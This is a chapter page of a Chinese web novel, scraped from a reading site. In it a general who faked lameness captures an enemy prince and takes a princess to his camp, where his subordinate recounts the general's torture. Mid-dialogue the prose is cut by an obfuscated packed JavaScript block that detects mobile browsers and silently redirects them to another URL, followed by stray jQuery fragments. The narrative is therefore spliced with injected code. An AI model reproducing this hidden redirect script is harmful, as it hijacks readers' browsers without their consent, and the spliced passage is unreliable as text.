默认冷灰
24号文字
方正启体

8. 天诉

作者:檀兮源木下本书字数:K更新时间:
    赫联烬方才还在狂吠,被郑八一拳捶在侧脸之后,倒是消停了不少。他啐出一口血沫,不死不休地道:“呸!就他也配和本王相提并论?”


    “嘶,你这说的,难不成,月王这是老糊涂了?连你二哥都奈何不了我,怎么纵容你这个小兔崽子来送死?”


    “沈雩你个阴沟里的蛀虫,怎么还不去死?腿都被废掉了,还能再次站起来。也不知道,赫联烛那个蠢货怎么做事的。”


    “这么说,你不会是听说我残废了,才亲自来除掉我,好让月王把太子之位给你吧。”


    “你放屁,就算你不瘸,本王也照样灭了你!”赫联烬强撑着最后的面子,失心疯般地怒吼起来。


    “哦?那这个,被抓了五次放了五次,现在第六次被抓了,跪在地上嗷嗷大叫的人是谁啊?”


    赫联烬哑口无言,只好鼓着腮帮子,扭曲地瞪视着他。


    沈雩摸了摸下巴,瞧着他那惨样乐不可支,只觉烂泥扶不上墙,决定还是提点这白痴几句:


    “本公不妨心慈地告诉你,我靖国军岂是会被那一两句闲言碎语就撬动得了的。为了牵制你父王与你二王兄,在下不得不一直以轮椅出行,就是为了引你前来。可惜,你来得如此之慢,差了误了计划。记得下次争点儿气哦,早点来送死!”


    言罢,沈雩飞身过来,将亓辛从地上揽着膝弯和背脊抱起,带着她稳稳地落于马背之上:


    “此前多有隐瞒,实为军情要急,还请殿下恕罪,而今还须殿下在宁北大营委屈一段时日,等六王子的审讯尘埃落定,臣便亲自送你会晟都。”


    随即,沈雩双腿猛然发力,夹了一下马腹,马儿“呼”地向前奔去。


    沈雩一路上搂紧了亓辛的腰,以防她摔下去。


    亓辛不适地扭了扭身子,勉强隔开一小段距离道,带着刺讥嘲道:


    “靖国公好算计,为了洗脱污名,真是无所不用其极!”


    沈雩不大适应重回这般生分的相处模式,随即倾身靠了靠,似有若无地蹭着她软茸茸的发顶,低沉地问道:


    “这就,不叫师父了?”


    亓辛正欲回怼,又不愿以公主的身份压人,索性沉默下来。


    不过提及这茬,她不由想到自己那副弓箭为啥眼熟了,这不就是破烽弓与破烽箭的缩小版吗?


    沈雩虽为武将,可比起郑八来,身子却单薄了许多。然他以这般重器引弓搭箭之时,却是轻松的很,也不知,是如何凝出这般气力的。


    换上战甲的沈雩,与他化名“郑七”时,绫罗绸缎、玉冠银簪、秀指执盏的模样,大相径庭,饶是周身气韵都相悖。


    固然,他那一眼万年的面相与往日倒无甚不同,可这周身浸满的杀伐之气已是将从前那人畜无害的矜贵样侵染得面目全非了。


    今儿赫联烬闹出的这般动静,放于平日里,本不应有何差错。


    他在月国,是个蜜罐儿里长大的小王子,要风得风要雨得雨,月王举阖国之力助他顺遂。


    月王虽是野心不小,可就是纵着赫联烬占了月国最骁勇的兵力,哪怕赫联烬出征只是小有胜绩,即可得来标榜嘉奖。


    而月国那位太子赫联烛,却空有太子之名,一切皆需自力更生,稍有不慎,便得来阵阵苛责。可正因如此,他才会苦心钻营,蛰伏数年才得来时机,让沈雩跌了一跤。


    那场大战,怕也只有沈雩和他自己还有那位当事人知道,如若不是某种原因,即便是赫联烛筹谋多年,估计也赢不了。


    可偏偏他千算万算,就是没算到,沈雩那常人无及的求生之欲,对自己竟也可心狠如斯。这也致使,赫联烬兴高采烈地倾巢出动,欲抢先夺回亓辛这个优零血者,顺道给沈雩收尸,结果,把自己赔了进去。


    沈雩瞧着亓辛这般苦大仇深的模样,也不自找没趣了,踏着风尘,一路无阻地入了宁北靖国军大营。


    这宁北大营与亓辛想象中的淘尽黄沙、波澜壮阔的景象很是不同,竟错落于苍翠层峦之中,若隐若现,自是易守难攻,也难怪当初与赫联烛一战,虽是遭受了重创,却仍得以保全。


    沈雩带着她穿过这山重水复的秘境,复行数十里,豁然开朗。


    军营到底不比农户小院,沈雩恐她在此多有不便,直接将其带去了自己的大帐,便离去了。


    约莫一炷香的功夫,一个衣角秀着“靖”字的小卒给她端来了一些吃食,以金樽玉盘呈着,竟均是些此前她于农户小院之时,喜好的那些:


    椰皮芋泥糕、茶油鸡、番茄鱼、酱汁洋芋……还有,青梅酿。


    亓辛本就嗜酒,好些花果制成的清酿,尤以青梅酿为最,只是此前于宫中颇多受限,不便多饮,在农户小院之时,有了沈雩这样的同道中人,倒是得尽兴。


    亓辛略有一丝动容。纵是沈雩欺瞒在先,自己确也未坦白过身份,往昔只知他身为“郑七”时,温文尔雅、谦和有礼,现下看来,倒是果决寡言、清高自持。他怕是即便自觉理亏,却也难以宣之于口。


    这番满桌珍馐的做派,倒像是作几分赔罪之意。


    那小卒像是如获至宝,羡慕着慨叹:“不愧是长公主殿下亲临,引得大帅都能和颜些许,您都不知道,平日里大帅操练时,是什么铁面修罗的存在!”


    亓辛自觉略过前半句,细细揣摩着沈雩在军中的形象。


    思及深处,帐帘顶部悬垂的铜铃发出声声轻响。


    亓辛随之猛然回头,瞅见了又换回那一身麻布粗衣的郑八,垂眸掩住快要溢出的失落,正经地伏了一伏,道:“郑统领。”


    郑八见状“扑通”一声跪下,赶忙接连应着:


    “受不起!受不起!”


    郑八试探着抬起了头,瞅见她面对着此前大快朵颐的美味,有气无力地往嘴里送着,以及时不时看向帐帘,那望眼欲穿的模样,而后,径自起身,大大喇喇地坐在一旁,敞着腿看戏。


    亓辛斜倚于桌侧,笑靥如花,随手理了下鬓发,一只手支着下巴,打量起郑八:


    “受不起?你俩此前唤我小九之时,不也挺顺口的吗?怎么,现在担心我被月国的人抢回去,耽搁你们洗白的进度吗?”


    郑八闻言,满面菜色,方才的幸灾乐祸一扫而空:


    “殿下这般,可就是纯纯膈应人了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15369366|167990||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。七爷这些年岁本就过的够苦的了,身心俱残,性情大变,我们这些做属下的,除了陪伴,也帮不上什么忙。农户小院之时,七爷待你的好皆出于本心,从未将您当作过筹码,殿下如此阴阳怪气,臣真是替七爷感到不值!”


    亓辛伸了伸食指指节,碰碰下唇,面上了无任何情绪,转而问:


    “师父,哦不,靖国公的腿——真伤过?怎么伤的?”


    郑八冷不丁地一愣,不料她会这般问,继言之:“先前总是寻不得时机,现殿下恰好相问,您也确实该知道了。”


    郑八锐利的眉眼柔和了些许,似是在追忆某些不堪回首的过往:


    “殿下可知,血丸试验,为何只掳掠女子?那是由于月国那位太子在咱们七爷身上试出的结论,换作旁人,或许早就不堪忍受而暴毙,而七爷确是硬生生挺了过来。因而,他们方知,血丸此物,唯适龄女子方可融合成功,后以女子之血供给男子,从而提升能力。”


    亓辛错愕地呆望着郑八,一时不知作何反应。


    郑八瞟了她一眼,接下去:


    “殿下月国所受之苦,七爷恐是尝过千倍万倍。靖国军军纪严明,从未殃及过百姓。月国那位太子攻入宁北之时,却不知何处传出了七爷叛降言论,此后,这罗织罪名便似瘟疫般地四处流散,宁北百姓便也对我们群起而攻之,月国那位太子便带人乔装混入百姓中,活捉了七爷。”


    郑八情绪愈来愈激动,不自觉地抬高了音量:


    “月国那位太子以靖国军全族之命。逼反七爷。他生性多疑,七爷只好以老国公不白之死言明自己早有异心,愿借此机会投降,我们这才捡回一命。他虽阴毒,却也惜才,又觊觎靖国军势力,本欲以血丸控制七爷——”


    亓辛:“然后呢?”


    “血丸试验失败,月国那位太子不甘放虎归山,以酷刑搓磨。那是一种满是刺的铁棍,一点一点,将受刑者皮肉剥开,钉入筋骨。”


    亓辛闻所未闻,月国竟,还有这般惊天骇地的刑罚,。


    “七爷他,就是这么一棍一棍,被生生打残啊!霜降救出他时,他的双腿已然血肉模糊,臣一个糙汉,都不忍直视。七爷身负国仇家恨,怎甘忍气吞声,虽有奇露灵药,可每每饮下,便似万蚁噬心、痛不欲生。即便现下恢复,却也无法长久站立。”


    母后所诉以及密辛所载,对于沈雩之事的空缺,在郑八这里基本衔接上了,可亓辛深知,这数年的酸楚,岂是这寥寥数语,便可一以概之的。


    她若有所思,不解地问:“难道你们未曾察觉,这污名兴起得过分蹊跷?就,从未探查过吗?”


    “此事,臣确是不大清楚。七爷下令不准探查,臣有心无力。”


    “宫中人一言一行,皆由不得自己,我想留下来帮你们。”亓辛不冷不热地说着。


    “殿下您千金贵体,又是女儿之身,您与臣等这些大老爷们混于一处,到底是于礼不合。”


    方才送吃食那小卒,此刻哪壶不该提哪壶地补了一句:


    “白统领不也是个女的?”


    亓辛瞅准良机,追问道:“这是谁?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)